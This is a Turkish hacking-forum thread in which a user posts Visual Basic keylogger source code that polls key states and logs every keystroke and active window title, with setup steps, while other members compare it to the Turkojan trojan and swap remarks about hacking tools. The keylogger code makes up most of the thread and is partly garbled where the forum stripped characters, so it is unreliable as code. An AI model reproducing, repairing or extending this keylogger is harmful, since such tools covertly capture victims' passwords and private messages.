hoca haklısın ama benim sınavlar başladı yetişemiyorum Holocaust The Late Night Hacker

ya hacı eywallah saolda hepsini tek başlık altında toplasaydın daha iyi olmazmıydı cok daıttın etrafı sanki. " ' "

hem turkojanın aynısı bile olsa artık daha yeni daha iyi prglara ihtiyaç var... aynısını, benzerini yapmak mrifet deil Buralar bizden sorulur... Ravage@tahribat.com

@Musket VB bilmiyorum açıkcası, kodları da okumadım... Ama bence kodları bu foruma direk kopyalamak akıllıca bir fikir değil, cunku birçok işaret muhtemelen silinmiştir forum tarafından... muhtemelen değil silinmiş : )

Form üzerine 1 adet timer 1 adet textbox text1 'in multiline zelliğini true yapın text1'in scrollbars zelliğini vertical yapınkodu olduğu gibi general declarations'a.. . yapıştırınPrivate Declare Function GetForegroundWindow Lib "user32" As LongPrivate Declare Function GetAsyncKeyState Lib "user32" As IntegerPrivate Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" As LongPrivate Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" As LongPrivate Declare Function GetKeyState Lib "user32" As IntegerDim a(0 To 9) As StringDim Baslik As StringPrivate Sub Form_Load Timer1. Interval = 10Timer1. Enabled = TrueMe. Width = 7755Me. Height = 7650Text1. Width = 4935Text1. Top = 120Text1. Height = 6255End SubPrivate Sub Timer1_Timer On Error Resume NextDim BasilanTus As StringDim dongu As ByteIf Baslik <> BasligiAl Then Baslik = BasligiAl Text1 = Text1 & " " & vbCrLfEnd IfIf GetAsyncKeyState(13) = -32767 ThenBasilanTus = vbCrLfGoTo tusuyazEnd IfIf GetAsyncKeyState(8) = -32767 ThenText1 = Left(Text1, Len(Text1) - 1)GoTo tusuyazEnd IfIf GetAsyncKeyState(32) = -32767 ThenBasilanTus = " "GoTo tusuyazEnd IfIf GetAsyncKeyState(186) = -32767 ThenIf ShiftTusu = True Then BasilanTus = ":"If ShiftTusu = False Then BasilanTus = ";"GoTo tusuyazEnd IfIf GetAsyncKeyState(187) = -32767 ThenIf ShiftTusu = True Then BasilanTus = "+"If ShiftTusu = False Then BasilanTus = "="GoTo tusuyazEnd IfIf GetAsyncKeyState(188) = -32767 ThenIf ShiftTusu = True Then BasilanTus = "<"If ShiftTusu = False Then BasilanTus = ","GoTo tusuyazEnd IfIf GetAsyncKeyState(189) = -32767 ThenIf ShiftTusu = True Then BasilanTus = "_"If ShiftTusu = False Then BasilanTus = "-"GoTo tusuyazEnd IfIf GetAsyncKeyState(190) = -32767 ThenIf ShiftTusu = True Then BasilanTus = ">"If ShiftTusu = False Then BasilanTus = "."GoTo tusuyazEnd IfIf GetAsyncKeyState(191) = -32767 ThenIf ShiftTusu = True Then BasilanTus = "?"If ShiftTusu = False Then BasilanTus = "/"GoTo tusuyazEnd IfIf GetAsyncKeyState(192) = -32767 ThenIf ShiftTusu = True Then BasilanTus = " "If ShiftTusu = False Then BasilanTus = "`"GoTo tusuyazEnd IfIf GetAsyncKeyState(96) = -32767 ThenIf ShiftTusu = False Then BasilanTus = "0"GoTo tusuyazEnd IfIf GetAsyncKeyState(97) = -32767 ThenIf ShiftTusu = False Then BasilanTus = "1"GoTo tusuyazEnd IfIf GetAsyncKeyState(98) = -32767 ThenIf ShiftTusu = False Then BasilanTus = "2"GoTo tusuyazEnd IfIf GetAsyncKeyState(99) = -32767 ThenIf ShiftTusu = False Then BasilanTus = "3"GoTo tusuyazEnd IfIf GetAsyncKeyState(100) = -32767 ThenIf ShiftTusu = False Then BasilanTus = "4"GoTo tusuyazEnd IfIf GetAsyncKeyState(101) = -32767 ThenIf ShiftTusu = False Then BasilanTus = "5"GoTo tusuyazEnd IfIf GetAsyncKeyState(102) = -32767 ThenIf ShiftTusu = False Then BasilanTus = "6"GoTo tusuyazEnd IfIf GetAsyncKeyState(103) = -32767 ThenIf ShiftTusu = False Then BasilanTus = "7"GoTo tusuyazEnd IfIf GetAsyncKeyState(104) = -32767 ThenIf ShiftTusu = False Then BasilanTus = "8"GoTo tusuyazEnd IfIf GetAsyncKeyState(105) = -32767 ThenIf ShiftTusu = False Then BasilanTus = "9"GoTo tusuyazEnd IfIf GetAsyncKeyState(106) = -32767 ThenIf ShiftTusu = False Then BasilanTus = " "GoTo tusuyazEnd IfIf GetAsyncKeyState(107) = -32767 ThenIf ShiftTusu = False Then BasilanTus = "+"GoTo tusuyazEnd IfIf GetAsyncKeyState(108) = -32767 ThenIf ShiftTusu = False Then BasilanTus = ""Text1. Text = Text1. Text & vbCrLfGoTo tusuyazEnd IfIf GetAsyncKeyState(109) = -32767 ThenIf ShiftTusu = False Then BasilanTus = "-"GoTo tusuyazEnd IfIf GetAsyncKeyState(110) = -32767 ThenIf ShiftTusu = False Then BasilanTus = "."GoTo tusuyazEnd IfIf GetAsyncKeyState(111) = -32767 ThenIf ShiftTusu = False Then BasilanTus = "/"GoTo tusuyazEnd IfIf GetAsyncKeyState(219) = -32767 ThenIf ShiftTusu = True Then BasilanTus = "{"If ShiftTusu = False Then BasilanTus = " "GoTo tusuyazEnd IfIf GetAsyncKeyState(222) = -32767 ThenIf ShiftTusu = True Then BasilanTus = Chr(34)If ShiftTusu = False Then BasilanTus = "'"GoTo tusuyazEnd Ifdongu = 48Do Until dongu = 91If GetAsyncKeyState = -32767 Then If dongu >= 65 And dongu <= 90 ThenIf CapsLockTusu = True And ShiftTusu = True Then BasilanTus = LCase(Chr If CapsLockTusu = False And ShiftTusu = False Then BasilanTus = LCase(Chr If CapsLockTusu = True And ShiftTusu = False Then BasilanTus = UCase(Chr If CapsLockTusu = False And ShiftTusu = True Then BasilanTus = UCase(Chr GoTo tusuyaz End IfIf dongu >= 48 And dongu <= 57 And ShiftTusu = True ThenIf ShiftTusu = True ThenBasilanTus = a(Val(Chr GoTo tusuyazEnd If End IfEnd Ifdongu = dongu + 1LoopExit Subtusuyaz:BasilanTus = Replace BasilanTus = Replace BasilanTus = Replace BasilanTus = Replace BasilanTus = Replace BasilanTus = Replace BasilanTus = Replace BasilanTus = Replace Text1. Text = Text1. Text & BasilanTusEnd SubFunction BasligiAl Dim hWndTitle As StringhWndTitle = String(GetWindowTextLength , 0)GetWindowText hwnd, hWndTitle, (GetWindowTextLength + 1)BasligiAl = hWndTitleEnd FunctionPublic Sub tusuyaz Text1. Text = Text1 & BasilanTusText1. SelLength = Len(Text1)End SubPublic Function ShiftTusu As Boolean ShiftTusu = CBool(GetAsyncKeyState End FunctionPublic Function CapsLockTusu As BooleanCapsLockTusu = CBool(GetKeyState And 1)End Function'Sorularınız İçin Holocaust@w. cn adresine mail atabilirsiniz... Holocaust The Late Night Hacker

Turkojan delphi, senin kodların VB.. aynısı derken? Umursamaz Tavrımın Hastası Olunuz.

kodlar c/p bir post olayı yok. dünya yan geldi. dalganıza bakın...

Upload edersen... www.rapidshare.deBelki birinin işine yarar?

VB bilmiyorum açıkcası, kodları da okumadım... Ama bence kodları bu foruma direk kopyalamak akıllıca bir fikir değil, cunku birçok işaret muhtemelen silinmiştir forum tarafından...

hoca bunu sen mi yaptın? Ayrıca turkojan ile aynı zelliklere mi sahip.. yapmış olduğun basit bir log tutucu.. onu da bi yere postlamıyorsun hiç bi işe yaramaz yani. Ben bi keylogger yaptım aylardır uğraşıyorum ki hala çok eskiği var. Yazın devam edeceğim kaldığım yerde.. Başlık ile kodlar uyuşmuyor Bundan sonra sadece insan olanlarla muhattap olacağım.. Ona gre karşıma gelin...